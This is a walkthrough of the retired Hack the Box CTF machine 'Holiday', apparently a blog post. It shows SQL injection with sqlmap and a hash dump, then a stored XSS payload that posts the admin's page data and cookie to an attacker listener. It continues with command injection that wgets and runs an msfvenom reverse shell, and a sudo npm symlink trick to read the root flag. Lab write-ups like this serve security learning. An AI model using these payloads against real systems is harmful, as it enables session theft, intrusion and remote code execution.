Hack the Box – Holiday Walkthrough

Today we’re going to solve another CTF machine “Holiday”. It is now retired box and can be accessible if you’re a VIP member.

Introduction

Specifications

  • Target OS: Linux
  • Services: SSH, HTTP Node.js
  • IP Address: 10.10.10.25
  • Difficulty: Brainfuck

Weakness

  • Obtaining data with stored XSS
  • Exploiting NOPASSWD files

Contents

  • Getting user
  • Getting root

Reconnaissance

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

Enumerate Directories

We have a HTTP service running on port 8000.

Let’s run directory enumerating tools to find some hidden directories.

We found an /admin path which was redirecting 302 to /login. Now that we have a login field we can test brute force or SQL injection.

SQLMap

Let’s use SQLMap first and see if it’s vulnerable to SQL injection. We’re gonna capture POST data using burp and save it to sqlmap.req

POST /login HTTP/1.1
Host: 10.10.10.25:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.25:8000/login
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

Now run SQLMap.

sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all​

I used rockyou.txt to crack the hashes but unfortunately we’re not able to crack password.

what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 2
what's the custom dictionary's location?
> /usr/share/wordlists/rockyou.txt
[01:35:58] [INFO] using custom dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[01:36:01] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[01:36:01] [INFO] starting 8 processes 
[01:36:23] [WARNING] no clear password(s) found                                                                                                                
Database: SQLite_masterdb
Table: users
[1 entry]
+----+--------+----------+----------------------------------+
| id | active | username | password                         |
+----+--------+----------+----------------------------------+
| 1  | 1      | RickA    | fdc8cd4cff2c19e0d1022e78481ddf36 |
+----+--------+----------+----------------------------------+

But let’s test some online crackers such as crackstation.

And using crackstation we’re able to crack the md5 hash.

RickA:nevergonnagiveyouup

After login we can see bunch of information contains names, reference numbers and UUIDs.

We have the ability to view bookings and add notes to the bookings. Something that caught my eye is the following text on the “Add Note” page:

All notes must be approved by an administrator - this process can take up to 1 minute.

There’s some kind of a manual reviewing system by administrator. This should make us think of XSS attacks.

Our goal here is to get “admin” browser to make a web request to us with all of the information we can possible send.

Example:

<img src="x/><script>eval(String.fromCharCode(CHARCODE_HERE));</script>">

http://jdstiles.com/java/cct.html

Convert this into CharCode

var url = "http://localhost:8000/vac/5a8a26f1-b883-4313-b126-109889498a8a"; $.ajax({ method: "GET",url: url,success: function(data) { $.post("http://10.10.14.4:4848/", data);}});

After submitting XSS code we have to listen on our port.

nc -lvp 4848

And we got some response including administrator cookie which we can use to bypass admin login.

Since we have the administrator cookie we can inject and try navigating to /admin directory.

We were successful with it and now we have two options Bookings and Notes.

Bookings page contains RCE.

/admin/export?table=bookings%26ls

Note%26 instead of & is required because & is filtered

Now we’re gonna create a payload using msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHSOT=10.10.14.4 LPORT=1338 -f elf > shell

And now we’re gonna run python http server to upload our shell using wget command and start listening to our payload.

We have to convert our IP to decimal in order to upload our shell.

https://www.browserling.com/tools/ip-to-dec

/admin/export?table=bookings%26cd+/tmp%26%26wget+168431108/shell
/admin/export?table=bookings%26chmod+777+/tmp/shell
/admin/export?table=bookings%26/tmp/shell

And finally got user shell.

Privilege Escalation

Now we move forward to get root. We can use scripts to collect some information or we can do some research manually first which i do most of the time.

This is what LinEnum.sh found

sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *
[email protected]:/home/algernon/app$ sudo -l 
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

[email protected]:/home/algernon/app$ mv package.json package.json.bak
[email protected]:/home/algernon/app$ ln -s /root/root.txt package.json && sudo /usr/bin/npm i *

npm ERR! Linux 4.4.0-78-generic
npm ERR! argv "/usr/bin/nodejs" "/usr/bin/npm" "i" "hex.db" "index.js" "layouts" "node_modules" "npm-debug.log" "package.json" "package.json.bak" "setup" "static" "views"
npm ERR! node v6.10.3
npm ERR! npm  v3.10.10
npm ERR! file /home/algernon/app/package.json
npm ERR! code EJSONPARSE

npm ERR! Failed to parse json
npm ERR! Unexpected token 'a' at 1:1
npm ERR! {root-flag}
npm ERR! ^
npm ERR! File: /home/algernon/app/package.json
npm ERR! Failed to parse package.json data.

 

Back to top button
Close